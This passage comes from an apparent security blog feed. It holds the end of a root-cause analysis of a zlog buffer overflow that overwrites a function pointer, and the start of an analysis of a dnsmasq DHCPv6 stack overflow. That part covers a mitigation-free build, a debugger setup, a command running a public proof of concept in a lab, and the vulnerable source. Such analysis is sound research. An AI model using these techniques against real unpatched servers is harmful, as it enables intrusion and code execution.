	<span class="kt">char</span> <span class="n">record_path</span><span class="p">[</span><span class="n">MAXLEN_PATH</span> <span class="o">+</span> <span class="mi">1</span><span class="p">];</span>
	<span class="n">zlog_record_fn</span> <span class="n">record_func</span><span class="p">;</span>
<span class="p">};</span>
</code></pre></div></div>

<p>If an attacker supplies a configuration line where <code class="language-plaintext highlighter-rouge">file_path</code> begins with <code class="language-plaintext highlighter-rouge">$</code>, the following code is executed:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">sscanf</span><span class="p">(</span><span class="n">file_path</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="s">"%s"</span><span class="p">,</span> <span class="n">a_rule</span><span class="o">-&gt;</span><span class="n">record_name</span><span class="p">);</span>
</code></pre></div></div>

<p>Because <code class="language-plaintext highlighter-rouge">%s</code> reads an string without bounds checking, an attacker controlled configuration line longer than <code class="language-plaintext highlighter-rouge">MAXLEN_PATH</code> bytes will overflow <code class="language-plaintext highlighter-rouge">a_rule-&gt;record_name</code>.</p>

<p>This overflow can overwrite:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>record_path
record_func
</code></pre></div></div>

<p>Since <code class="language-plaintext highlighter-rouge">record_func</code> is a function pointer, an attacker can overwrite it with a attacker controlled address. This may redirect execution to attacker controlled code, leading to arbitrary code execution.</p>

<p>By overflowing <code class="language-plaintext highlighter-rouge">a_rule-&gt;record_name</code>, an attacker can overwrite the <code class="language-plaintext highlighter-rouge">a_rule-&gt;record_func</code> pointer. When logging rule executes, the program will call this function pointer, allowing an attacker to redirect execution.</p>

<h2 id="references">References</h2>

<ul>
  <li>https://nvd.nist.gov/vuln/detail/CVE-2024-22857</li>
  <li>https://www.cybersecurity-help.cz/vdb/SB2024022842</li>
  <li>https://github.com/HardySimpson/zlog/</li>
</ul>]]></content><author><name></name></author><category term="research" /><category term="cve-analysis" /><category term="research" /><summary type="html"><![CDATA[An in-depth analysis of CVE-2024-22857 in zlog, focusing on the underlying memory corruption issue. I traced the bug from input handling to crash, using debugging techniques to uncover the root cause and assess its impact.]]></summary></entry><entry><title type="html">From Packet to Crash: Stack Overflow in dnsmasq [CVE-2017-14493]</title><link href="https://t1b4n3.github.io/research/cve-analysis/RCA-CVE-2017-14493/" rel="alternate" type="text/html" title="From Packet to Crash: Stack Overflow in dnsmasq [CVE-2017-14493]" /><published>2026-02-19T00:00:00+02:00</published><updated>2026-02-19T00:00:00+02:00</updated><id>https://t1b4n3.github.io/research/cve-analysis/RCA-CVE-2017-14493</id><content type="html" xml:base="https://t1b4n3.github.io/research/cve-analysis/RCA-CVE-2017-14493/"><![CDATA[<h1 id="cve-2017-14493-root-cause-analysis-on-vulnerable-dnsmasq-software">[CVE-2017-14493] Root Cause Analysis on vulnerable dnsmasq software.</h1>

<p>This is my first step of moving from CTFs to Real World Vulnerabilities. My goal  is to move from exploiting CTFs to real world software such has dnsmasq and eventually both the linux and andriod kernel.</p>

<h2 id="lab-setup">Lab Setup.</h2>

<p>I will be running the vulnerable software on a kali virtual machine using virtualbox, and i will use my ubuntu machine as the attacker machine.</p>

<p>First lets download the vulnerable software version ( &lt; 2.78)</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code> wget https://dnsmasq.org/dnsmasq-2.77.tar.xz
</code></pre></div></div>

<p>Then i first compiled it with out security mitigations.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>make <span class="nv">CFLAGS</span><span class="o">=</span><span class="s2">"-O0 -g -fno-stack-protector -z execstack -no-pie -Wno-error=incompatible-pointer-types -Wno-error=deprecated-non-prototype -fpermissive"</span> <span class="nv">LDFLAGS</span><span class="o">=</span><span class="s2">"-z execstack -no-pie"</span>
</code></pre></div></div>

<p>Then I set up my network interfaces on both machines so that i can use a IPv6 address (since the vulnerabilities are in DHCPv6)</p>

<p>Kali:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>ip <span class="nt">-6</span> addr add 2001:db8::1/64 dev eth0
</code></pre></div></div>
<p>Ubuntu:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>ip <span class="nt">-6</span> addr add 2001:db8::1/64 dev wlp4s0
</code></pre></div></div>

<p>So To find the where the vulnerable code/code path is I will use a debugger (gdb with gef extension).</p>

<p>So lets start with CVE-2017-14493.</p>
<h2 id="cve-2017-14493">CVE-2017-14493</h2>

<p><a href="https://nvd.nist.gov/vuln/detail/cve-2017-14493">CVE Description:</a> Stack-based buffer overflow in dnsmasq before 2.78 allows remote attackers to cause a denial of service (crash) or execute arbitrary code via a crafted DHCPv6 request.</p>

<p>To find where the vulnerability is lets run they program while its attached to a debugger and run the <a href="https://github.com/google/security-research-pocs/blob/master/vulnerabilities/dnsmasq/CVE-2017-14493.py">PoC</a> and analyse it from there.</p>

<p>To make this easier I copied the necessary source code into the folder <code class="language-plaintext highlighter-rouge">dnsmasq-2.77/src</code> and then I used GDB script with the following commands.</p>

<pre><code class="language-gdb">directory dnsmasq-2.77/src/
set follow-exec-mode new
set breakpoint pending on
run -d -i wlp4s0 --dhcp-range=2001:db8::10,2001:db8::ae,64 --enable-ra
</code></pre>

<p>As we find interesting code paths we will use this gdb script to but breakpoints in the source code.</p>

<p>Then run gdb with this script.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>gdb ./dnsmasq <span class="nt">-x</span> ./gdb_cmds
</code></pre></div></div>

<p><img src="/assets/images/research/cve-2017-14493/running_gdb.png" alt="GDB" /></p>

<p>In the attacker machine run the <a href="https://github.com/google/security-research-pocs/blob/master/vulnerabilities/dnsmasq/CVE-2017-14493.py">PoC</a></p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./poc.py 2001:db8::1 547
<span class="c">#./poc.py &lt;ipv6 addr&gt; &lt;port&gt;</span>
</code></pre></div></div>

<p><img src="/assets/images/research/cve-2017-14493/segfault.png" alt="segfault" />
As we can see that we got a segfault in the <code class="language-plaintext highlighter-rouge">dhcp6_reply()</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">unsigned</span> <span class="kt">short</span> 
<span class="nf">dhcp6_reply</span><span class="p">(</span><span class="k">struct</span> <span class="n">dhcp_context</span> <span class="o">*</span><span class="n">context</span><span class="p">,</span> <span class="kt">int</span> <span class="n">interface</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">iface_name</span><span class="p">,</span>
        <span class="k">struct</span> <span class="n">in6_addr</span> <span class="o">*</span><span class="n">fallback</span><span class="p">,</span> <span class="k">struct</span> <span class="n">in6_addr</span> <span class="o">*</span><span class="n">ll_addr</span><span class="p">,</span> <span class="k">struct</span> <span class="n">in6_addr</span> <span class="o">*</span><span class="n">ula_addr</span><span class="p">,</span>
        <span class="kt">size_t</span> <span class="n">sz</span><span class="p">,</span> <span class="k">struct</span> <span class="n">in6_addr</span> <span class="o">*</span><span class="n">client_addr</span><span class="p">,</span> <span class="kt">time_t</span> <span class="n">now</span><span class="p">)</span>
<span class="p">{</span>
        <span class="k">struct</span> <span class="n">dhcp_vendor</span> <span class="o">*</span><span class="n">vendor</span><span class="p">;</span>
        <span class="kt">int</span> <span class="n">msg_type</span><span class="p">;</span>
        <span class="k">struct</span> <span class="n">state</span> <span class="n">state</span><span class="p">;</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">sz</span> <span class="o">&lt;=</span> <span class="mi">4</span><span class="p">)</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
        <span class="n">msg_type</span> <span class="o">=</span> <span class="o">*</span><span class="p">((</span><span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">daemon</span><span class="o">-&gt;</span><span class="n">dhcp_packet</span><span class="p">.</span><span class="n">iov_base</span><span class="p">);</span>
        <span class="cm">/* Mark these so we only match each at most once, to avoid tangled linked lists */</span>
        <span class="k">for</span> <span class="p">(</span><span class="n">vendor</span> <span class="o">=</span> <span class="n">daemon</span><span class="o">-&gt;</span><span class="n">dhcp_vendors</span><span class="p">;</span> <span class="n">vendor</span><span class="p">;</span> <span class="n">vendor</span> <span class="o">=</span> <span class="n">vendor</span><span class="o">-&gt;</span><span class="n">next</span><span class="p">)</span>
                <span class="n">vendor</span><span class="o">-&gt;</span><span class="n">netid</span><span class="p">.</span><span class="n">next</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">vendor</span><span class="o">-&gt;</span><span class="n">netid</span><span class="p">;</span>
        
        <span class="n">reset_counter</span><span class="p">();</span>
        <span class="n">state</span><span class="p">.</span><span class="n">context</span> <span class="o">=</span> <span class="n">context</span><span class="p">;</span>
        <span class="n">state</span><span class="p">.</span><span class="n">interface</span> <span class="o">=</span> <span class="n">interface</span><span class="p">;</span>
        <span class="n">state</span><span class="p">.</span><span class="n">iface_name</span> <span class="o">=</span> <span class="n">iface_name</span><span class="p">;</span>
        <span class="n">state</span><span class="p">.</span><span class="n">fallback</span> <span class="o">=</span> <span class="n">fallback</span><span class="p">;</span>
        <span class="n">state</span><span class="p">.</span><span class="n">ll_addr</span> <span class="o">=</span> <span class="n">ll_addr</span><span class="p">;</span>
        <span class="n">state</span><span class="p">.</span><span class="n">ula_addr</span> <span class="o">=</span> <span class="n">ula_addr</span><span class="p">;</span>
        <span class="n">state</span><span class="p">.</span><span class="n">mac_len</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="n">state</span><span class="p">.</span><span class="n">tags</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
        <span class="n">state</span><span class="p">.</span><span class="n">link_address</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>

        <span class="k">if</span> <span class="p">(</span><span class="n">dhcp6_maybe_relay</span><span class="p">(</span><span class="o">&amp;</span><span class="n">state</span><span class="p">,</span> <span class="n">daemon</span><span class="o">-&gt;</span><span class="n">dhcp_packet</span><span class="p">.</span><span class="n">iov_base</span><span class="p">,</span> <span class="n">sz</span><span class="p">,</span> <span class="n">client_addr</span><span class="p">,</span>
                <span class="n">N6_IS_ADDR_MULTICAST</span><span class="p">(</span><span class="n">client_addr</span><span class="p">),</span> <span class="n">now</span><span class="p">))</span>
                <span class="k">return</span> <span class="n">msg_type</span> <span class="o">==</span> <span class="n">DHCP6RELAYFORW</span> <span class="o">?</span> <span class="n">DHCPV6_SERVER_PORT</span> <span class="o">:</span> <span class="n">DHCPV6_CLIENT_PORT</span><span class="p">;</span>
        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>When looking at function, there is nothing really interesting, so my first thought was that there vulnerability is in another function but affects the stack of this function. The only function that has a argument that resides in the <code class="language-plaintext highlighter-rouge">dhcp6_reply</code> is <code class="language-plaintext highlighter-rouge">dhcp6_maybe_relay</code> and the variable name is <code class="language-plaintext highlighter-rouge">state</code>.</p>

<p>Here is the <code class="language-plaintext highlighter-rouge">state struct</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  
<span class="k">struct</span> <span class="n">state</span> <span class="p">{</span>
	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="n">clid</span><span class="p">;</span>
	<span class="kt">int</span> <span class="n">clid_len</span><span class="p">,</span> <span class="n">iaid</span><span class="p">,</span> <span class="n">ia_type</span><span class="p">,</span> <span class="n">interface</span><span class="p">,</span> <span class="n">hostname_auth</span><span class="p">,</span> <span class="n">lease_allocate</span><span class="p">;</span>
	<span class="kt">char</span> <span class="o">*</span><span class="n">client_hostname</span><span class="p">,</span> <span class="o">*</span><span class="n">hostname</span><span class="p">,</span> <span class="o">*</span><span class="n">domain</span><span class="p">,</span> <span class="o">*</span><span class="n">send_domain</span><span class="p">;</span>
	<span class="k">struct</span> <span class="n">dhcp_context</span> <span class="o">*</span><span class="n">context</span><span class="p">;</span>
	<span class="k">struct</span> <span class="n">in6_addr</span> <span class="o">*</span><span class="n">link_address</span><span class="p">,</span> <span class="o">*</span><span class="n">fallback</span><span class="p">,</span> <span class="o">*</span><span class="n">ll_addr</span><span class="p">,</span> <span class="o">*</span><span class="n">ula_addr</span><span class="p">;</span>
	<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">xid</span><span class="p">,</span> <span class="n">fqdn_flags</span><span class="p">;</span>
	<span class="kt">char</span> <span class="o">*</span><span class="n">iface_name</span><span class="p">;</span>
	<span class="kt">void</span> <span class="o">*</span><span class="n">packet_options</span><span class="p">,</span> <span class="o">*</span><span class="n">end</span><span class="p">;</span>
	<span class="k">struct</span> <span class="n">dhcp_netid</span> <span class="o">*</span><span class="n">tags</span><span class="p">,</span> <span class="o">*</span><span class="n">context_tags</span><span class="p">;</span>
	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">mac</span><span class="p">[</span><span class="n">DHCP_CHADDR_MAX</span><span class="p">];</span>
	<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">mac_len</span><span class="p">,</span> <span class="n">mac_type</span><span class="p">;</span>
<span class="cp">#ifdef OPTION6_PREFIX_CLASS
</span>	<span class="k">struct</span> <span class="n">prefix_class</span> <span class="o">*</span><span class="n">send_prefix_class</span><span class="p">;</span>
<span class="cp">#endif
</span><span class="p">};</span>
</code></pre></div></div>

<p>So now lets look at  <code class="language-plaintext highlighter-rouge">dhcp6_maybe_reply()</code> and only focus on <code class="language-plaintext highlighter-rouge">state</code>. Here is the whole function :</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="k">static</span> <span class="kt">int</span> <span class="nf">dhcp6_maybe_relay</span><span class="p">(</span><span class="k">struct</span> <span class="n">state</span> <span class="o">*</span><span class="n">state</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">inbuff</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">sz</span><span class="p">,</span> 
			     <span class="k">struct</span> <span class="n">in6_addr</span> <span class="o">*</span><span class="n">client_addr</span><span class="p">,</span> <span class="kt">int</span> <span class="n">is_unicast</span><span class="p">,</span> <span class="kt">time_t</span> <span class="n">now</span><span class="p">)</span>
<span class="p">{</span>
  <span class="kt">void</span> <span class="o">*</span><span class="n">end</span> <span class="o">=</span> <span class="n">inbuff</span> <span class="o">+</span> <span class="n">sz</span><span class="p">;</span>
  <span class="kt">void</span> <span class="o">*</span><span class="n">opts</span> <span class="o">=</span> <span class="n">inbuff</span> <span class="o">+</span> <span class="mi">34</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">msg_type</span> <span class="o">=</span> <span class="o">*</span><span class="p">((</span><span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">inbuff</span><span class="p">);</span>
  <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="n">outmsgtypep</span><span class="p">;</span>
  <span class="kt">void</span> <span class="o">*</span><span class="n">opt</span><span class="p">;</span>
  <span class="k">struct</span> <span class="n">dhcp_vendor</span> <span class="o">*</span><span class="n">vendor</span><span class="p">;</span>

  <span class="cm">/* if not an encapsulated relayed message, just do the stuff */</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">msg_type</span> <span class="o">!=</span> <span class="n">DHCP6RELAYFORW</span><span class="p">)</span>
    <span class="p">{</span>
      <span class="cm">/* if link_address != NULL if points to the link address field of the 
	 innermost nested RELAYFORW message, which is where we find the
	 address of the network on which we can allocate an address.
	 Recalculate the available contexts using that information. 

      link_address == NULL means there's no relay in use, so we try and find the client's 
      MAC address from the local ND cache. */</span>
      
      <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">state</span><span class="o">-&gt;</span><span class="n">link_address</span><span class="p">)</span>
	<span class="n">get_client_mac</span><span class="p">(</span><span class="n">client_addr</span><span class="p">,</span> <span class="n">state</span><span class="o">-&gt;</span><span class="n">interface</span><span class="p">,</span> <span class="n">state</span><span class="o">-&gt;</span><span class="n">mac</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">state</span><span class="o">-&gt;</span><span class="n">mac_len</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">state</span><span class="o">-&gt;</span><span class="n">mac_type</span><span class="p">,</span> <span class="n">now</span><span class="p">);</span>
      <span class="k">else</span>
	<span class="p">{</span>
	  <span class="k">struct</span> <span class="n">dhcp_context</span> <span class="o">*</span><span class="n">c</span><span class="p">;</span>
	  <span class="n">state</span><span class="o">-&gt;</span><span class="n">context</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
	   
	  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">IN6_IS_ADDR_LOOPBACK</span><span class="p">(</span><span class="n">state</span><span class="o">-&gt;</span><span class="n">link_address</span><span class="p">)</span> <span class="o">&amp;&amp;</span>
	      <span class="o">!</span><span class="n">IN6_IS_ADDR_LINKLOCAL</span><span class="p">(</span><span class="n">state</span><span class="o">-&gt;</span><span class="n">link_address</span><span class="p">)</span> <span class="o">&amp;&amp;</span>
	      <span class="o">!</span><span class="n">IN6_IS_ADDR_MULTICAST</span><span class="p">(</span><span class="n">state</span><span class="o">-&gt;</span><span class="n">link_address</span><span class="p">))</span>
	    <span class="k">for</span> <span class="p">(</span><span class="n">c</span> <span class="o">=</span> <span class="n">daemon</span><span class="o">-&gt;</span><span class="n">dhcp6</span><span class="p">;</span> <span class="n">c</span><span class="p">;</span> <span class="n">c</span> <span class="o">=</span> <span class="n">c</span><span class="o">-&gt;</span><span class="n">next</span><span class="p">)</span>
	      <span class="k">if</span> <span class="p">((</span><span class="n">c</span><span class="o">-&gt;</span><span class="n">flags</span> <span class="o">&amp;</span> <span class="n">CONTEXT_DHCP</span><span class="p">)</span> <span class="o">&amp;&amp;</span>
		  <span class="o">!</span><span class="p">(</span><span class="n">c</span><span class="o">-&gt;</span><span class="n">flags</span> <span class="o">&amp;</span> <span class="p">(</span><span class="n">CONTEXT_TEMPLATE</span> <span class="o">|</span> <span class="n">CONTEXT_OLD</span><span class="p">))</span> <span class="o">&amp;&amp;</span>
		  <span class="n">is_same_net6</span><span class="p">(</span><span class="n">state</span><span class="o">-&gt;</span><span class="n">link_address</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">c</span><span class="o">-&gt;</span><span class="n">start6</span><span class="p">,</span> <span class="n">c</span><span class="o">-&gt;</span><span class="n">prefix</span><span class="p">)</span> <span class="o">&amp;&amp;</span>
		  <span class="n">is_same_net6</span><span class="p">(</span><span class="n">state</span><span class="o">-&gt;</span><span class="n">link_address</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">c</span><span class="o">-&gt;</span><span class="n">end6</span><span class="p">,</span> <span class="n">c</span><span class="o">-&gt;</span><span class="n">prefix</span><span class="p">))</span>
		<span class="p">{</span>
		  <span class="n">c</span><span class="o">-&gt;</span><span class="n">preferred</span> <span class="o">=</span> <span class="n">c</span><span class="o">-&gt;</span><span class="n">valid</span> <span class="o">=</span> <span class="mh">0xffffffff</span><span class="p">;</span>
		  <span class="n">c</span><span class="o">-&gt;</span><span class="n">current</span> <span class="o">=</span> <span class="n">state</span><span class="o">-&gt;</span><span class="n">context</span><span class="p">;</span>
		  <span class="n">state</span><span class="o">-&gt;</span><span class="n">context</span> <span class="o">=</span> <span class="n">c</span><span class="p">;</span>
		<span class="p">}</span>
	  
	  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">state</span><span class="o">-&gt;</span><span class="n">context</span><span class="p">)</span>
	    <span class="p">{</span>
	      <span class="n">inet_ntop</span><span class="p">(</span><span class="n">AF_INET6</span><span class="p">,</span> <span class="n">state</span><span class="o">-&gt;</span><span class="n">link_address</span><span class="p">,</span> <span class="n">daemon</span><span class="o">-&gt;</span><span class="n">addrbuff</span><span class="p">,</span> <span class="n">ADDRSTRLEN</span><span class="p">);</span> 
	      <span class="n">my_syslog</span><span class="p">(</span><span class="n">MS_DHCP</span> <span class="o">|</span> <span class="n">LOG_WARNING</span><span class="p">,</span> 
			<span class="n">_</span><span class="p">(</span><span class="s">"no address range available for DHCPv6 request from relay at %s"</span><span class="p">),</span>
			<span class="n">daemon</span><span class="o">-&gt;</span><span class="n">addrbuff</span><span class="p">);</span>
	      <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
	    <span class="p">}</span>
	<span class="p">}</span>
	  
      <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">state</span><span class="o">-&gt;</span><span class="n">context</span><span class="p">)</span>
	<span class="p">{</span>
	  <span class="n">my_syslog</span><span class="p">(</span><span class="n">MS_DHCP</span> <span class="o">|</span> <span class="n">LOG_WARNING</span><span class="p">,</span> 
		    <span class="n">_</span><span class="p">(</span><span class="s">"no address range available for DHCPv6 request via %s"</span><span class="p">),</span> <span class="n">state</span><span class="o">-&gt;</span><span class="n">iface_name</span><span class="p">);</span>
	  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
	<span class="p">}</span>

      <span class="k">return</span> <span class="n">dhcp6_no_relay</span><span class="p">(</span><span class="n">state</span><span class="p">,</span> <span class="n">msg_type</span><span class="p">,</span> <span class="n">inbuff</span><span class="p">,</span> <span class="n">sz</span><span class="p">,</span> <span class="n">is_unicast</span><span class="p">,</span> <span class="n">now</span><span class="p">);</span>
    <span class="p">}</span>

  <span class="cm">/* must have at least msg_type+hopcount+link_address+peer_address+minimal size option
     which is               1   +    1   +    16      +     16     + 2 + 2 = 38 */</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">sz</span> <span class="o">&lt;</span> <span class="mi">38</span><span class="p">)</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
  
  <span class="cm">/* copy header stuff into reply message and set type to reply */</span>
  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="n">outmsgtypep</span> <span class="o">=</span> <span class="n">put_opt6</span><span class="p">(</span><span class="n">inbuff</span><span class="p">,</span> <span class="mi">34</span><span class="p">)))</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
  <span class="o">*</span><span class="n">outmsgtypep</span> <span class="o">=</span> <span class="n">DHCP6RELAYREPL</span><span class="p">;</span>

  <span class="cm">/* look for relay options and set tags if found. */</span>
  <span class="k">for</span> <span class="p">(</span><span class="n">vendor</span> <span class="o">=</span> <span class="n">daemon</span><span class="o">-&gt;</span><span class="n">dhcp_vendors</span><span class="p">;</span> <span class="n">vendor</span><span class="p">;</span> <span class="n">vendor</span> <span class="o">=</span> <span class="n">vendor</span><span class="o">-&gt;</span><span class="n">next</span><span class="p">)</span>
    <span class="p">{</span>
      <span class="kt">int</span> <span class="n">mopt</span><span class="p">;</span>
      
      <span class="k">if</span> <span class="p">(</span><span class="n">vendor</span><span class="o">-&gt;</span><span class="n">match_type</span> <span class="o">==</span> <span class="n">MATCH_SUBSCRIBER</span><span class="p">)</span>
	<span class="n">mopt</span> <span class="o">=</span> <span class="n">OPTION6_SUBSCRIBER_ID</span><span class="p">;</span>
      <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">vendor</span><span class="o">-&gt;</span><span class="n">match_type</span> <span class="o">==</span> <span class="n">MATCH_REMOTE</span><span class="p">)</span>
	<span class="n">mopt</span> <span class="o">=</span> <span class="n">OPTION6_REMOTE_ID</span><span class="p">;</span> 
      <span class="k">else</span>
	<span class="k">continue</span><span class="p">;</span>

      <span class="k">if</span> <span class="p">((</span><span class="n">opt</span> <span class="o">=</span> <span class="n">opt6_find</span><span class="p">(</span><span class="n">opts</span><span class="p">,</span> <span class="n">end</span><span class="p">,</span> <span class="n">mopt</span><span class="p">,</span> <span class="mi">1</span><span class="p">))</span> <span class="o">&amp;&amp;</span>
	  <span class="n">vendor</span><span class="o">-&gt;</span><span class="n">len</span> <span class="o">==</span> <span class="n">opt6_len</span><span class="p">(</span><span class="n">opt</span><span class="p">)</span> <span class="o">&amp;&amp;</span>
	  <span class="n">memcmp</span><span class="p">(</span><span class="n">vendor</span><span class="o">-&gt;</span><span class="n">data</span><span class="p">,</span> <span class="n">opt6_ptr</span><span class="p">(</span><span class="n">opt</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span> <span class="n">vendor</span><span class="o">-&gt;</span><span class="n">len</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span>
	  <span class="n">vendor</span><span class="o">-&gt;</span><span class="n">netid</span><span class="p">.</span><span class="n">next</span> <span class="o">!=</span> <span class="o">&amp;</span><span class="n">vendor</span><span class="o">-&gt;</span><span class="n">netid</span><span class="p">)</span>
	<span class="p">{</span>
	  <span class="n">vendor</span><span class="o">-&gt;</span><span class="n">netid</span><span class="p">.</span><span class="n">next</span> <span class="o">=</span> <span class="n">state</span><span class="o">-&gt;</span><span class="n">tags</span><span class="p">;</span>
	  <span class="n">state</span><span class="o">-&gt;</span><span class="n">tags</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">vendor</span><span class="o">-&gt;</span><span class="n">netid</span><span class="p">;</span>
	  <span class="k">break</span><span class="p">;</span>
	<span class="p">}</span>
    <span class="p">}</span>
  
  <span class="cm">/* RFC-6939 */</span>
  <span class="k">if</span> <span class="p">((</span><span class="n">opt</span> <span class="o">=</span> <span class="n">opt6_find</span><span class="p">(</span><span class="n">opts</span><span class="p">,</span> <span class="n">end</span><span class="p">,</span> <span class="n">OPTION6_CLIENT_MAC</span><span class="p">,</span> <span class="mi">3</span><span class="p">)))</span>
    <span class="p">{</span>
      <span class="n">state</span><span class="o">-&gt;</span><span class="n">mac_type</span> <span class="o">=</span> <span class="n">opt6_uint</span><span class="p">(</span><span class="n">opt</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">2</span><span class="p">);</span>
      <span class="n">state</span><span class="o">-&gt;</span><span class="n">mac_len</span> <span class="o">=</span> <span class="n">opt6_len</span><span class="p">(</span><span class="n">opt</span><span class="p">)</span> <span class="o">-</span> <span class="mi">2</span><span class="p">;</span>
      <span class="n">memcpy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">state</span><span class="o">-&gt;</span><span class="n">mac</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="n">opt6_ptr</span><span class="p">(</span><span class="n">opt</span><span class="p">,</span> <span class="mi">2</span><span class="p">),</span> <span class="n">state</span><span class="o">-&gt;</span><span class="n">mac_len</span><span class="p">);</span>
    <span class="p">}</span>
  
  <span class="k">for</span> <span class="p">(</span><span class="n">opt</span> <span class="o">=</span> <span class="n">opts</span><span class="p">;</span> <span class="n">opt</span><span class="p">;</span> <span class="n">opt</span> <span class="o">=</span> <span class="n">opt6_next</span><span class="p">(</span><span class="n">opt</span><span class="p">,</span> <span class="n">end</span><span class="p">))</span>
    <span class="p">{</span>
      <span class="kt">int</span> <span class="n">o</span> <span class="o">=</span> <span class="n">new_opt6</span><span class="p">(</span><span class="n">opt6_type</span><span class="p">(</span><span class="n">opt</span><span class="p">));</span>
      <span class="k">if</span> <span class="p">(</span><span class="n">opt6_type</span><span class="p">(</span><span class="n">opt</span><span class="p">)</span> <span class="o">==</span> <span class="n">OPTION6_RELAY_MSG</span><span class="p">)</span>
	<span class="p">{</span>
	  <span class="k">struct</span> <span class="n">in6_addr</span> <span class="n">align</span><span class="p">;</span>
	  <span class="cm">/* the packet data is unaligned, copy to aligned storage */</span>
	  <span class="n">memcpy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">align</span><span class="p">,</span> <span class="n">inbuff</span> <span class="o">+</span> <span class="mi">2</span><span class="p">,</span> <span class="n">IN6ADDRSZ</span><span class="p">);</span> 
	  <span class="n">state</span><span class="o">-&gt;</span><span class="n">link_address</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">align</span><span class="p">;</span>
	  <span class="cm">/* zero is_unicast since that is now known to refer to the 
	     relayed packet, not the original sent by the client */</span>
	  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">dhcp6_maybe_relay</span><span class="p">(</span><span class="n">state</span><span class="p">,</span> <span class="n">opt6_ptr</span><span class="p">(</span><span class="n">opt</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span> <span class="n">opt6_len</span><span class="p">(</span><span class="n">opt</span><span class="p">),</span> <span class="n">client_addr</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">now</span><span class="p">))</span>
	    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
	<span class="p">}</span>
      <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">opt6_type</span><span class="p">(</span><span class="n">opt</span><span class="p">)</span> <span class="o">!=</span> <span class="n">OPTION6_CLIENT_MAC</span><span class="p">)</span>
	<span class="n">put_opt6</span><span class="p">(</span><span class="n">opt6_ptr</span><span class="p">(</span><span class="n">opt</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span> <span class="n">opt6_len</span><span class="p">(</span><span class="n">opt</span><span class="p">));</span>
      <span class="n">end_opt6</span><span class="p">(</span><span class="n">o</span><span class="p">);</span>	    
    <span class="p">}</span>
  
  <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Here is where the vulnerability happens:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">((</span><span class="n">opt</span> <span class="o">=</span> <span class="n">opt6_find</span><span class="p">(</span><span class="n">opts</span><span class="p">,</span> <span class="n">end</span><span class="p">,</span> <span class="n">OPTION6_CLIENT_MAC</span><span class="p">,</span> <span class="mi">3</span><span class="p">)))</span>
<span class="p">{</span>
